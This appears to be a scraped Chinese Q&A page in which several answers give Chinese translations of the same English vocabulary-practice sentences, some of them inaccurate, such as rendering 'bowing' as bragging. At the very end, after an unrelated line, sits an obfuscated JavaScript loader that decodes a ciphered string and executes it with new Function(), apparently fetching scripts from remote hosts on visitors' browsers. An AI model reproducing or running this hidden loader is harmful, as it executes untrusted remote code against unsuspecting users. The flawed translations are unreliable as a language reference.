推荐回答(5个)
The new vaccine eradicated all traces of the disease within three months.
三个月之内,新的牛痘疫苗消除了所有疾病。
The barbarians defiled the church by using it as a stable.
那些没有教养的人用教堂做马棚,玷污了教堂。
The pregnant woman has an enlarged abdomen.
孕妇感到腹部大面积的疼痛
The lost hikers were bereft of hope when the rescue plane did not see them.
迷途的游客丧失了希望,因为救援飞机没有看到他们
The children were bereaved by the death of their parents.
双亲的死亡,让孩子们丧失了父母
This battlefield is consecrated to the memory of the soldiers who died here.
在曾经战死在战场的士兵记忆里,这里是神圣的
A good joke does not necessarily evoke a hearty laugh.
一个好的笑话,不一定会引来尽情的笑声
Wheels left grooves in a muddy dirt road.
在一条泥泞肮脏的路上。轮子离开的轨道。
The old car jolted its passengers badly as it went over the rough road.
当这辆旧车在凹凸不平的道路上行驶的时候,坐在上面的游客被颠的很厉害。
Bowing to greet a lady is now an obsolete custom.
吹牛来讨好女人已经过时了
Many wild animals prowl at night looking for something to eat.
很多野生动物都是在晚上四处觅食
The children scooped holes in the sand.
孩子们在沙滩上挖了一个洞
Diplomats are interested in the status of world affairs.
外交官一般都对世界大事很感兴趣
The farmer sued the railroad station because his cow was killed by the train.
农民们起诉火车站,因为他们的牛被火车弄死了。
The counter of the sink has many grooves along which the water will run off.
水沟的另一端有分出来很多条沟,水从那些沟通过。
The cat prowled around the cellar looking for mice.
猫徘徊在地下室需找耗子
We all sympathized with the husband who was bereaved of his beloved wife.
我们都对这个失去心爱妻子的丈夫表示同情
Her singing evoked admiration from the public.
她的歌声引来了大家的赞美
We still use this machine though it is obsolete.
我们还是在用那台老化的机器
The bandit in a typical Western movie rides a horse and goes armed. either alone or in a group.
典型西部电影中的土匪都是骑着马,挥舞这手臂,单独行动或者成群结队出动
Christmas commemorates the birth of Jesus Christ.
圣诞节是庆祝耶稣诞辰的节日。
The children‘s muddy shoes defiled all the rugs in the hotel.
孩子们泥泞的鞋弄脏了宾馆的地毯
The new vaccine eradicated all traces of the disease within three months.
新疫苗在三个月内消除了此类疾病的所有症状。
The barbarians defiled the church by using it as a stable.
那些野蛮人拿教堂当马棚用,亵渎了教堂。
The pregnant woman has an enlarged abdomen.
怀孕的女人,肚子会变大。
The lost hikers were bereft of hope when the rescue plane did not see them.
那些迷途的旅人,当他们没有被救援飞机发现的时候,绝望了。
The children were bereaved by the death of their parents.
这些孩子父母双亡,处在失去亲人的痛苦中。
This battlefield is consecrated to the memory of the soldiers who died here.
对那些战死的将士们来说,在他们的记忆中,这片战场是神圣的。
A good joke does not necessarily evoke a hearty laugh.
好笑话并不一定引起大笑。(感觉像谚语)
满纸荒唐言,一把辛酸泪。
Wheels left grooves in a muddy dirt road.
车轮在泥泞的土路上留下车辙。
The old car jolted its passengers badly as it went over the rough road.
这辆老车剧烈颠簸车上的人们,好像行驶在崎岖的路上。
Bowing to greet a lady is now an obsolete custom.
向女士鞠躬致敬已是过时的风俗了。
Many wild animals prowl at night looking for something to eat.
许多野生动物在夜间觅食。
The children scooped holes in the sand.
孩子们在沙滩上挖了许多洞/沙坑。
Diplomats are interested in the status of world affairs.
外交官员关注世界局势。
The farmer sued the railroad station because his cow was killed by the train.
那个农民跟火车站打官司,因为他家的母牛被火车撞死了。
The counter of the sink has many grooves along which the water will run off.
水池的水量的计数器有许多沟槽,水就沿着这些沟槽流出去。
The cat prowled around the cellar looking for mice.
小猫在地窖里转来转去抓老鼠。
We all sympathized with the husband who was bereaved of his beloved wife.
我们都同情这位老公,他因他深爱的老婆刚刚去世而出离悲痛。
Her singing evoked admiration from the public.
她的歌声引来公众的赞赏。
We still use this machine though it is obsolete.
尽管这台机器已经过时了,可我们仍然在使用。
The bandit in a typical Western movie rides a horse and goes armed. either alone or in a group.
在很多西方电影里,强盗骑着大马,舞刀弄枪。无论是一个还是一伙。
Christmas commemorates the birth of Jesus Christ.
圣诞节是为了纪念耶稣基督的诞生。
The children's muddy shoes defiled all the rugs in the hotel.
孩子们粘着泥巴的鞋子把酒店里的地毯都弄脏了。
The new vaccine eradicated all traces of the disease within three months.
新疫苗会在3个月内将所有疾病根除。
The barbarians defiled the church by using it as a stable.
野蛮人弄脏教堂当做了马棚。
The pregnant woman has an enlarged abdomen.
孕妇的肚子很大。
The lost hikers were bereft of hope when the rescue plane did not see them.
当营救飞机没有看见他们的时候,走失的旅行者们失去了希望。
The children were bereaved by the death of their parents.
这个孩子丧失了亲人。
This battlefield is consecrated to the memory of the soldiers who died here.
这个战场是为了祭奠那些战死的士兵的。
A good joke does not necessarily evoke a hearty laugh.
一个好的笑话不一定能引起笑声。
Wheels left grooves in a muddy dirt road.
车轮在泥泞的道路上留下沟痕。
The old car jolted its passengers badly as it went over the rough road.
由于越过一条崎岖的山路,乘客在这两旧车上颠簸的很严重。
Bowing to greet a lady is now an obsolete custom.
鞠躬向女士表示问候现已是过时的习俗。
Many wild animals prowl at night looking for something to eat.
许多野生动物在夜晚觅食。
The children scooped holes in the sand.
孩子在沙子里挖了个洞。
Diplomats are interested in the status of world affairs.
外交官对在世界事务中的身份地位很在意。
The farmer sued the railroad station because his cow was killed by the train.
农民控告火车站因为他的牛被火车轧死了。
The counter of the sink has many grooves along which the water will run off.
水沿着柜台水槽的凹槽将要流出。
The cat prowled around the cellar looking for mice.
猫在地窖周围觅食寻找老鼠。
We all sympathized with the husband who was bereaved of his beloved wife.
我们都同情那个失去心爱的妻子的丈夫。
Her singing evoked admiration from the public.
她的歌声大家赞不绝口。
We still use this machine though it is obsolete.
尽管这台机器过时了,但我们仍然在使用。
The bandit in a typical Western movie rides a horse and goes armed. either alone or in a group.
强盗在典型的西部电影中都是单独或者群体骑着马,带着武器。
Christmas commemorates the birth of Jesus Christ.
圣诞节是纪念耶稣基督诞生的日子。
The children‘s muddy shoes defiled all the rugs in the hotel.
小孩脏兮兮的鞋子把宾馆的地毯都弄脏了。
因此,国际市场面临着许多挑战;这些挑战体现在对经济环境影响进入某个世界性市场的选择以及如何进入该市场的决策的理解。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();